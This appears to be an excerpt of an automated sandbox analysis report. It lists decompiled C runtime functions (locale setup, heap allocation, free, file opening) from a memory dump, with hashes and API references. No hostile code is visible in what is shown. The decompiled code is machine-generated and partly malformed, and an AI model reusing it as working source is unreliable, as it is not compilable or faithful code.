SetFilePointerEx.KERNEL32(00000000,004AA674,00000002,004AA674,00000000,004AA674,00000001,00000000,00000000,?,004B9095,004AA674,004AA674,00000002,00000000), ref: 004B901F
__dosmaperr.LIBCMT ref: 004B9030

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FilePointer__dosmaperr
String ID:
API String ID: 3262615654-0
Opcode ID: cdc005b76707da5a3fdb160953819838f5749220ede2db25dedb10ea2b992ba0
Instruction ID: d9d2db35772d593e7c981c635a08fd90c60763fcf8e7a05b4c1ba2196bb7a96e
Opcode Fuzzy Hash: cdc005b76707da5a3fdb160953819838f5749220ede2db25dedb10ea2b992ba0
Instruction Fuzzy Hash: E00168326145187FCB059F6ADC408EF3B2AEB86320B24035AF9018B280EA359C128BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0048902D, Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0048902D(intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr* _v20;
				intOrPtr* _t33;
				intOrPtr* _t34;
				void* _t38;
				intOrPtr _t39;
				void* _t40;
				intOrPtr* _t41;
				void* _t46;

				_t33 =  &_v16;
				_push(_a4);
				E0042AB17(_t33, _t38, _t40, _t46);
				E004A1116( &_v16, 0x4e8dd4);
				asm("int3");
				_push(4);
				E0049D90B(0x4d67e2, _t38, _t40);
				_t41 = _t33;
				_v20 = _t41;
				 *((intOrPtr*)(_t41 + 4)) = 1;
				_t39 = _a4;
				_t34 = _t41 + 0x18;
				 *_t41 = 0x401284;
				 *((intOrPtr*)(_t41 + 8)) = 0;
				_v8 = 0;
				 *((intOrPtr*)(_t41 + 0xc)) =  *((intOrPtr*)(_t39 + 0xc));
				 *((intOrPtr*)(_t41 + 0x10)) =  *((intOrPtr*)(_t39 + 0x10));
				 *((char*)(_t41 + 0x14)) =  *((intOrPtr*)(_t39 + 0x14));
				_t28 =  *((intOrPtr*)(_t39 + 0x18));
				if( *((intOrPtr*)(_t39 + 0x18)) == 0) {
					_t17 = _t39 + 0x1c; // 0x1c
					_t28 = _t17;
				}
				 *_t34 = 0;
				 *((char*)(_t34 + 4)) = 0;
				E0047E3A7(_t34, _t28);
				_push(_t39);
				_push(_t41);
				_v8 = 1;
				E0048A939(0); // executed
				return E0049D8D4(_t41);
			}

0x00489033
0x00489036
0x00489039
0x00489047
0x0048904c
0x0048904d
0x00489054
0x00489059
0x0048905b
0x0048905e
0x00489065
0x00489068
0x0048906d
0x00489073
0x00489076
0x0048907c
0x00489082
0x00489088
0x0048908b
0x00489090
0x00489092
0x00489092
0x00489092
0x00489096
0x00489098
0x0048909b
0x004890a0
0x004890a1
0x004890a2
0x004890a6
0x004890b4

APIs

Part of subcall function 0042AB17: __EH_prolog3.LIBCMT ref: 0042AB1E

__EH_prolog3.LIBCMT ref: 00489054
std::locale::_Locimp::_Locimp_ctor.LIBCPMT ref: 004890A6

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3$Locimp::_Locimp_ctorstd::locale::_
String ID:
API String ID: 522788814-0
Opcode ID: b2d04ec7ccd064c4bade7a7915ea1a14bf0b4e01221d86d1b09a43ce4e299121
Instruction ID: 609e2260fd298483a782d2d30822bde7939955fc64f8a47351091dd77b3156ed
Opcode Fuzzy Hash: b2d04ec7ccd064c4bade7a7915ea1a14bf0b4e01221d86d1b09a43ce4e299121
Instruction Fuzzy Hash: AE11CEB0900B49AFC710EF6AC440A8AFBF4AF18304B00C56EE59883652D774E644CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00492BDC, Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00492BDC(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t14;
				intOrPtr _t17;
				void* _t18;

				_t14 = __ecx;
				_push(4);
				E0049D90B(0x4d6df8, __edi, __esi);
				_t17 = _t14;
				 *((intOrPtr*)(_t18 - 0x10)) = _t17;
				 *((intOrPtr*)(_t17 + 8)) = 0;
				 *((intOrPtr*)(_t17 + 0xc)) = 0;
				 *((intOrPtr*)(_t17 + 0x10)) = 0;
				 *((intOrPtr*)(_t18 - 4)) = 0;
				E0048BBDC(_t14, 0,  *((intOrPtr*)(_t18 + 8))); // executed
				 *((intOrPtr*)(_t17 + 0x14)) = E0049C914(_t14);
				return E0049D8D4(_t12);
			}

0x00492bdc
0x00492bdc
0x00492be3
0x00492be8
0x00492bec
0x00492bef
0x00492bf2
0x00492bf5
0x00492bfb
0x00492bff
0x00492c09
0x00492c11

APIs

__EH_prolog3.LIBCMT ref: 00492BE3
_Getvals.LIBCPMT ref: 00492BFF

Part of subcall function 0048BBDC: __Getcvt.LIBCPMT ref: 0048BBEE
Part of subcall function 0048BBDC: std::_Locinfo::_Getdays.LIBCPMT ref: 0048BC07
Part of subcall function 0048BBDC: _Maklocstr.LIBCPMT ref: 0048BC0D
Part of subcall function 0048BBDC: std::_Locinfo::_Getmonths.LIBCPMT ref: 0048BC20
Part of subcall function 0048BBDC: _Maklocstr.LIBCPMT ref: 0048BC26
Part of subcall function 0048BBDC: _Maklocstr.LIBCPMT ref: 0048BC35

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Maklocstr$Locinfo::_std::_$GetcvtGetdaysGetmonthsGetvalsH_prolog3
String ID:
API String ID: 455403814-0
Opcode ID: 5f0cfcddee22f93e2fcb9fe8996bad068ae871c45d3a2bf05bb48adb1e659f2c
Instruction ID: 13658489b3144553808a9a09706fa25228e4638afb98859922e19850a6d5064e
Opcode Fuzzy Hash: 5f0cfcddee22f93e2fcb9fe8996bad068ae871c45d3a2bf05bb48adb1e659f2c
Instruction Fuzzy Hash: DFE0B6F0D007049FCB20EF7A840161ABAF1AF04304B00893FA5A6D7601D7789A008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0049AC63, Relevance: 3.0, APIs: 2, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0049AC63(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t12;
				intOrPtr _t14;
				intOrPtr _t17;
				void* _t18;

				_t14 = __ecx;
				_push(4);
				E0049D90B(0x4d6df8, __edi, __esi);
				_t17 = _t14;
				 *((intOrPtr*)(_t18 - 0x10)) = _t17;
				 *((intOrPtr*)(_t17 + 8)) = 0;
				 *((intOrPtr*)(_t17 + 0xc)) = 0;
				 *((intOrPtr*)(_t17 + 0x10)) = 0;
				 *((intOrPtr*)(_t18 - 4)) = 0;
				E0049949B(_t14, 0,  *((intOrPtr*)(_t18 + 8))); // executed
				_t12 = E0049C914(_t14); // executed
				 *((intOrPtr*)(_t17 + 0x14)) = _t12;
				return E0049D8D4(_t12);
			}

0x0049ac63
0x0049ac63
0x0049ac6a
0x0049ac6f
0x0049ac73
0x0049ac76
0x0049ac79
0x0049ac7c
0x0049ac82
0x0049ac86
0x0049ac8b
0x0049ac90
0x0049ac98

APIs

__EH_prolog3.LIBCMT ref: 0049AC6A
_Getvals.LIBCPMT ref: 0049AC86

Part of subcall function 0049949B: __Getcvt.LIBCPMT ref: 004994AD
Part of subcall function 0049949B: std::_Locinfo::_Getdays.LIBCPMT ref: 004994C6
Part of subcall function 0049949B: std::_Locinfo::_Getmonths.LIBCPMT ref: 004994DF

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Locinfo::_std::_$GetcvtGetdaysGetmonthsGetvalsH_prolog3
String ID:
API String ID: 709374646-0
Opcode ID: 5a662a7d9ae78a218b5c7b819c336853d4a7066bbd7125283fcb2e348385474f
Instruction ID: 76ab1cc204ad277cf790a4266ca1458fd6aa7a5997ee1d172ca83afbd5284663
Opcode Fuzzy Hash: 5a662a7d9ae78a218b5c7b819c336853d4a7066bbd7125283fcb2e348385474f
Instruction Fuzzy Hash: 35E0ECF0D007049FCF20EF7A840161ABEF1BF04704B00893FA5A6C7701D7789A008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004ACB51, Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004ACB51(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				intOrPtr _t34;
				intOrPtr _t35;
				char* _t38;
				void* _t45;
				intOrPtr _t49;
				void* _t54;
				char _t55;
				signed int _t57;
				signed int _t60;
				intOrPtr _t62;
				intOrPtr* _t63;
				intOrPtr* _t71;
				intOrPtr* _t75;
				intOrPtr* _t77;
				void* _t78;
				void* _t79;
				void* _t80;
				void* _t82;
				void* _t83;
				char* _t84;
				signed int _t87;
				char* _t89;
				intOrPtr* _t90;
				char* _t91;
				void* _t95;
				void* _t96;
				void* _t98;

				_t96 = _t95 - 0x18;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				E004A3439( &_v28, _a4);
				_t57 = 0;
				_t87 = 0;
				_t62 =  *((intOrPtr*)(_v24 + 0x9c));
				_v8 = _t62;
				do {
					_t77 =  *((intOrPtr*)(_t62 + _t87 * 4));
					_t82 = _t77 + 1;
					do {
						_t34 =  *_t77;
						_t77 = _t77 + 1;
					} while (_t34 != 0);
					_t63 =  *((intOrPtr*)(_t62 + 0x1c + _t87 * 4));
					_t78 = _t77 - _t82;
					_t83 = _t63 + 1;
					do {
						_t35 =  *_t63;
						_t63 = _t63 + 1;
					} while (_t35 != 0);
					_t62 = _v8;
					_t57 = _t57 + 2 + _t63 - _t83 + _t78;
					_t87 = _t87 + 1;
				} while (_t87 < 7);
				_t15 = _t57 + 1; // -1
				_v12 = _t57;
				_t38 = E004B3009(_t62, _t15); // executed
				_t84 = _t38;
				if(_t84 == 0) {
					L16:
					E004B2FCF(0);
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return _t84;
				} else {
					_t89 = _t84;
					_t60 = 0;
					while(1) {
						 *_t89 = 0x3a;
						_t90 = _t89 + 1;
						_t45 = E004AD3A2(_t90, _t84 - _t90 + _v12 + 1,  *((intOrPtr*)(_v8 + _t60 * 4)));
						_t98 = _t96 + 0xc;
						if(_t45 != 0) {
							break;
						}
						_t71 = _t90;
						_t21 = _t71 + 1; // 0x2
						_t79 = _t21;
						do {
							_t49 =  *_t71;
							_t71 = _t71 + 1;
						} while (_t49 != 0);
						_t91 = _t90 + _t71 - _t79;
						 *_t91 = 0x3a;
						_t90 = _t91 + 1;
						_t54 = E004AD3A2(_t90, _t84 - _t90 + _v12 + 1,  *((intOrPtr*)(_v8 + 0x1c + _t60 * 4)));
						_t96 = _t98 + 0xc;
						if(_t54 != 0) {
							break;
						} else {
							_t75 = _t90;
							_t27 = _t75 + 1; // 0x3
							_t80 = _t27;
							do {
								_t55 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t55 != 0);
							_t89 = _t90 + _t75 - _t80;
							_t60 = _t60 + 1;
							if(_t60 < 7) {
								continue;
							} else {
								 *_t89 = _t55;
								goto L16;
							}
						}
						goto L21;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E004A5EA4(0);
					asm("int3");
					return E004ACC62(_t60, _t84, _t90, __eflags, 0);
				}
				L21:
			}

0x004acb56
0x004acb59
0x004acb5a
0x004acb5b
0x004acb62
0x004acb6a
0x004acb6c
0x004acb6e
0x004acb74
0x004acb77
0x004acb77
0x004acb7a
0x004acb7d
0x004acb7d
0x004acb7f
0x004acb80
0x004acb84
0x004acb88
0x004acb8a
0x004acb8d
0x004acb8d
0x004acb8f
0x004acb90
0x004acb9c
0x004acb9f
0x004acba1
0x004acba2
0x004acba7
0x004acbaa
0x004acbae
0x004acbb3
0x004acbb8
0x004acc2b
0x004acc2d
0x004acc37
0x004acc3c
0x004acc3c
0x004acc4b
0x004acbba
0x004acbba
0x004acbbc
0x004acbbe
0x004acbc4
0x004acbc8
0x004acbd4
0x004acbd9
0x004acbde
0x00000000
0x00000000
0x004acbe0
0x004acbe2
0x004acbe2
0x004acbe5
0x004acbe5
0x004acbe7
0x004acbe8
0x004acbf1
0x004acbf7
0x004acbfa
0x004acc07
0x004acc0c
0x004acc11
0x00000000
0x004acc13
0x004acc13
0x004acc15
0x004acc15
0x004acc18
0x004acc18
0x004acc1a
0x004acc1b
0x004acc21
0x004acc23
0x004acc27
0x00000000
0x004acc29
0x004acc29
0x00000000
0x004acc29
0x004acc27
0x00000000
0x004acc11
0x004acc4e
0x004acc4f
0x004acc50
0x004acc51
0x004acc52
0x004acc53
0x004acc58
0x004acc61
0x004acc61
0x00000000

APIs

_free.LIBCMT ref: 004ACC2D

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 36a93ffcd24b0397af315c587784c7fc89c272066efa10dae63225aad90b0e0c
Instruction ID: 5eb5a7e87f04ede1d5a416493447001b2227777346b19298332a9040b1b6deac
Opcode Fuzzy Hash: 36a93ffcd24b0397af315c587784c7fc89c272066efa10dae63225aad90b0e0c
Instruction Fuzzy Hash: 4D316A35A001419FCF19DF68D884ABE7B65DF93318F1841AEDC859B302DA365E07C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 004384DC, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,00000000,00000000), ref: 0043855F

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9d3a638cbf3fa7ad9675427c27a566b3e249542f6da8023172fa6b75c9e9d538
Instruction ID: 7888dbb48d0deadb994a1a1ebbf2c1508fcd02696938e2dc5877689eda986515
Opcode Fuzzy Hash: 9d3a638cbf3fa7ad9675427c27a566b3e249542f6da8023172fa6b75c9e9d538
Instruction Fuzzy Hash: E811A571600215BFEB048F65FC84D7BBAACEB48395750103EB907D2211DE749D10DA68

Uniqueness

Uniqueness Score: -1.00%

Function 004BB397, Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E004BB397(intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr* _a16) {
				char _v8;
				char _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				void* _t25;

				E004BAF21( &_v32, _a8);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				if(_v12 != 0) {
					_t25 = E004C2031( &_v8, _a4, _v20, _a12, 0x180); // executed
					if(_t25 != 0) {
						goto L1;
					}
					 *0x4ee454 =  *0x4ee454 + 1;
					asm("lock or [eax], ecx");
					 *((intOrPtr*)(_a16 + 8)) = 0;
					 *((intOrPtr*)(_a16 + 0x1c)) = 0;
					 *((intOrPtr*)(_a16 + 4)) = 0;
					 *_a16 = 0;
					 *((intOrPtr*)(_a16 + 0x10)) = _v8;
					return _a16;
				}
				L1:
				return 0;
			}

0x004bb3a8
0x004bb3b4
0x004bb3b5
0x004bb3b6
0x004bb3bd
0x004bb3d5
0x004bb3df
0x00000000
0x00000000
0x004bb3e4
0x004bb3f0
0x004bb3f8
0x004bb3fe
0x004bb404
0x004bb40a
0x004bb412
0x00000000
0x004bb415
0x004bb3bf
0x00000000

APIs

__wsopen_s.LIBCMT ref: 004BB3D5

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 2c10468269b1ab8e19733710d797b50e8ae4661bc8e6b0d63e18906ef6ddf239
Instruction ID: 08115e15f90c600a55345117ea14690c9b3b8fa16ddf1c0c17d1e15c734de36c
Opcode Fuzzy Hash: 2c10468269b1ab8e19733710d797b50e8ae4661bc8e6b0d63e18906ef6ddf239
Instruction Fuzzy Hash: 9D11367190420AAFCB05DF59E9409DB7BF8EF48304F00406AFC08AB312D671E9218BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004A9E0D, Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004A9E0D(void* __ecx, intOrPtr _a4) {
				signed int _t13;
				signed int _t24;
				signed int _t25;
				intOrPtr _t27;

				_t27 = _a4;
				if(_t27 == 0) {
					 *((intOrPtr*)(E004A966E())) = 0x16;
					return E004A5E77() | 0xffffffff;
				}
				_push(_t24);
				_t25 = _t24 | 0xffffffff;
				if(( *(_t27 + 0xc) >> 0x0000000d & 0x00000001) != 0) {
					_t13 = E004A9C26(_t27); // executed
					_t25 = _t13;
					E004B72C1(_t27);
					if(E004B7049(E004B41D9(_t27)) >= 0) {
						if( *(_t27 + 0x1c) != 0) {
							E004B2FCF( *(_t27 + 0x1c));
							 *(_t27 + 0x1c) =  *(_t27 + 0x1c) & 0x00000000;
						}
					} else {
						_t25 = _t25 | 0xffffffff;
					}
				}
				E004B71C3(_t27);
				return _t25;
			}

0x004a9e13
0x004a9e18
0x004a9e1f
0x00000000
0x004a9e2a
0x004a9e32
0x004a9e33
0x004a9e3b
0x004a9e3e
0x004a9e44
0x004a9e46
0x004a9e5c
0x004a9e67
0x004a9e6c
0x004a9e71
0x004a9e75
0x004a9e5e
0x004a9e5e
0x004a9e5e
0x004a9e5c
0x004a9e77
0x00000000

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8677afb4cdaecb1433d7731f8887c1c495c32bfa64a06d6d25baffb49828167b
Instruction ID: f6d9c7aabced4142f7750d5c23595e27225db8add3f0b2e21cef285754c30188
Opcode Fuzzy Hash: 8677afb4cdaecb1433d7731f8887c1c495c32bfa64a06d6d25baffb49828167b
Instruction Fuzzy Hash: 54F0F472900A1056CA317A7B9C01A9B32988FB3378F10471BF421962C3CB7C9C0286BF

Uniqueness

Uniqueness Score: -1.00%

Function 0042B4DD, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0042B4DD(void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				void* _t21;
				intOrPtr _t22;
				intOrPtr* _t33;
				void* _t36;

				_push(0x38);
				E0049D90B(0x4c4c0f, __edi, __esi);
				 *((intOrPtr*)(_t36 - 0x10)) = 0;
				_t33 =  *((intOrPtr*)(_t36 + 8));
				if(_t33 != 0) {
					_t39 =  *_t33;
					if( *_t33 == 0) {
						_t35 = E0049CE33(0x18);
						 *((intOrPtr*)(_t36 + 8)) = _t19;
						 *(_t36 - 4) = 0;
						_t21 = E0042B0D7(_t36 - 0x44, _t33, _t35, _t39, E0042B2FD( *((intOrPtr*)(_t36 + 0xc)))); // executed
						 *(_t36 - 4) = 1;
						 *((intOrPtr*)(_t36 - 0x10)) = 1;
						_t22 = E0042B499(_t35, _t33, _t35, _t39, _t21, 0);
						 *(_t36 - 4) = 2;
						 *_t33 = _t22;
						 *(_t36 - 4) =  *(_t36 - 4) | 0xffffffff;
						 *((intOrPtr*)(_t36 - 0x10)) = 1;
						 *((intOrPtr*)(_t36 - 0x10)) = 0;
						E0042B15C();
					}
				}
				_t17 = 2;
				return E0049D8D4(_t17);
			}

0x0042b4dd
0x0042b4e4
0x0042b4eb
0x0042b4ee
0x0042b4f3
0x0042b4f5
0x0042b4f7
0x0042b500
0x0042b503
0x0042b506
0x0042b515
0x0042b51b
0x0042b523
0x0042b526
0x0042b52b
0x0042b532
0x0042b534
0x0042b53b
0x0042b541
0x0042b544
0x0042b544
0x0042b4f7
0x0042b54b
0x0042b551

APIs

__EH_prolog3.LIBCMT ref: 0042B4E4

Part of subcall function 0042B0D7: __EH_prolog3.LIBCMT ref: 0042B0DE
Part of subcall function 0042B0D7: std::_Lockit::_Lockit.LIBCPMT ref: 0042B0EB
Part of subcall function 0042B0D7: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0042B13C

Part of subcall function 0042B499: __EH_prolog3.LIBCMT ref: 0042B4A0
Part of subcall function 0042B499: __Getctype.LIBCPMT ref: 0042B4C0

Part of subcall function 0042B15C: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0042B18E
Part of subcall function 0042B15C: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B21A

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$H_prolog3$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID:
API String ID: 3700104213-0
Opcode ID: 8cf616ef012cde435361dafec3a7199e70ffe57e47a3cf3cc0d7e32601a1c0f6
Instruction ID: 9e87b0466a654d51ed717156fe1aa16b9ce5c6af72877dce7abcc874efe72c30
Opcode Fuzzy Hash: 8cf616ef012cde435361dafec3a7199e70ffe57e47a3cf3cc0d7e32601a1c0f6
Instruction Fuzzy Hash: 610144B1A00319DACF10EFA9D89279DBB70FF44754FA0466FB125A72C1CB785A01C798

Uniqueness

Uniqueness Score: -1.00%

Function 004B1B82, Relevance: 1.5, APIs: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004B1B82(intOrPtr* __ecx, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				void* _t13;
				void* _t20;
				intOrPtr* _t24;
				intOrPtr _t25;

				_t24 = __ecx;
				_t25 = E004B2F72(__ecx, 1, 0xb8);
				 *((intOrPtr*)( *__ecx)) = _t25;
				_t13 = E004B2FCF(0);
				if(_t25 != 0) {
					_v24 =  *_t24;
					_v20 =  *((intOrPtr*)(_t24 + 4));
					_v16 =  *((intOrPtr*)(_t24 + 8));
					_v12 =  *((intOrPtr*)(_t24 + 0xc));
					_v8 =  *((intOrPtr*)(_t24 + 0x10));
					_t20 = E004B1B5A(4,  &_v24); // executed
					return _t20;
				}
				return _t13;
			}

0x004b1b93
0x004b1b9a
0x004b1ba0
0x004b1ba2
0x004b1bac
0x004b1bb0
0x004b1bb6
0x004b1bbc
0x004b1bc2
0x004b1bc8
0x004b1bd1
0x00000000
0x004b1bd7
0x004b1bdd

APIs

Part of subcall function 004B2F72: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004B3649,00000001,00000364,?,004AADF3,004E8890,00000010), ref: 004B2FB3

_free.LIBCMT ref: 004B1BA2

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateFree_free
String ID:
API String ID: 2784253671-0
Opcode ID: 48e3e2c54d13805096218aa5b7e39bb9a52bbc855e06a66c9bcf5259d47b0e79
Instruction ID: 3590d8b69831cb7f3e5c2e1d6d2ade56b024a762c023daca3ca033137ecf6d53
Opcode Fuzzy Hash: 48e3e2c54d13805096218aa5b7e39bb9a52bbc855e06a66c9bcf5259d47b0e79
Instruction Fuzzy Hash: 66F03C71A04209AFC310DF69C542B9AB7F4FB48710F10416BE918E7341E775AA108BE5

Uniqueness

Uniqueness Score: -1.00%

Function 004B2F72, Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E004B2F72(void* __ecx, signed int _a4, signed int _a8) {
				void* __esi;
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				signed int _t18;
				long _t19;

				_t15 = __ecx;
				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x4eeb00, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E004B2C51();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E004A966E())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E004B08A6(_t15, _t19, __eflags, _t19);
						_pop(_t15);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x004b2f72
0x004b2f78
0x004b2f7d
0x004b2f8b
0x004b2f8b
0x004b2f91
0x004b2f93
0x004b2f93
0x004b2faa
0x004b2fb3
0x004b2fbb
0x00000000
0x00000000
0x004b2f9b
0x004b2f9d
0x004b2fbf
0x004b2fc4
0x004b2fca
0x00000000
0x004b2fca
0x004b2fa0
0x004b2fa5
0x004b2fa6
0x004b2fa8
0x00000000
0x00000000
0x004b2fa8
0x00000000
0x004b2faa
0x004b2f83
0x004b2f89
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004B3649,00000001,00000364,?,004AADF3,004E8890,00000010), ref: 004B2FB3

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca23d797807c8c1653de12cb30f492c3cd3c2327c1761bc63c89d39908bb7947
Instruction ID: 814e874a66a304bc54667ad23078e37bb06c9f8517dff74dbc2af21a5f255a83
Opcode Fuzzy Hash: ca23d797807c8c1653de12cb30f492c3cd3c2327c1761bc63c89d39908bb7947
Instruction Fuzzy Hash: 1DF0E9316041216BDB216A629E09FFB7778AF51760B144223FC04DB388CBB8DC01A2FC

Uniqueness

Uniqueness Score: -1.00%

Function 004C1FE0, Relevance: 1.5, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E004C1FE0(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				void* __ecx;
				signed int _t13;
				void* _t14;
				void* _t18;
				void* _t20;

				_v8 = _v8 & 0x00000000;
				_t13 = E004C2E01(_a12,  &_v8);
				_t20 = _t18;
				if(_t13 != 0) {
					_t25 = _v8;
					_push(_a28);
					_t14 = E004C2051(_t20, _a4, _a8, _v8, _a16, _a20, _a24); // executed
					E004B2FCF(_t25);
					return _t14;
				}
				return _t13 | 0xffffffff;
			}

0x004c1fe6
0x004c1ff1
0x004c1ff7
0x004c1ffa
0x004c2002
0x004c2006
0x004c2019
0x004c2021
0x00000000
0x004c202c
0x00000000

APIs

_free.LIBCMT ref: 004C2021

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 46cbe1521d11c4f8aa15e3888fe767836981a3dd4acc9b8ad7fb78b9a918fd65
Instruction ID: 3640a560bbb497f6f1a3e858b0da2481f43d17f82925ea2d86ee18bea973f33e
Opcode Fuzzy Hash: 46cbe1521d11c4f8aa15e3888fe767836981a3dd4acc9b8ad7fb78b9a918fd65
Instruction Fuzzy Hash: 9AF09A3A410009BBCF115E9ADD01DEF7B69EF89324F10011BFE1492050DABACA21E7A4

Uniqueness

Uniqueness Score: -1.00%

Function 004B84D4, Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E004B84D4(void* __ecx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _t12;
				intOrPtr _t16;
				intOrPtr* _t26;

				 *0x4ee454 =  *0x4ee454 + 1;
				_t26 = _a4;
				_t12 = E004B3009(__ecx, 0x1000); // executed
				 *((intOrPtr*)(_t26 + 4)) = _t12;
				E004B2FCF(0);
				if( *((intOrPtr*)(_t26 + 4)) == 0) {
					asm("lock or [eax], ecx");
					 *((intOrPtr*)(_t26 + 0x18)) = 2;
					 *((intOrPtr*)(_t26 + 4)) = _t26 + 0x14;
				} else {
					_push(0x40);
					asm("lock or [eax], ecx");
					 *((intOrPtr*)(_t26 + 0x18)) = 0x1000;
				}
				_t16 =  *((intOrPtr*)(_t26 + 4));
				 *(_t26 + 8) =  *(_t26 + 8) & 0x00000000;
				 *_t26 = _t16;
				return _t16;
			}

0x004b84d9
0x004b84e1
0x004b84ea
0x004b84f1
0x004b84f4
0x004b8502
0x004b8514
0x004b851a
0x004b8521
0x004b8504
0x004b8504
0x004b8507
0x004b850a
0x004b850a
0x004b8524
0x004b8527
0x004b852b
0x004b8530

APIs

Part of subcall function 004B3009: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

_free.LIBCMT ref: 004B84F4

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

Memory Dump Source

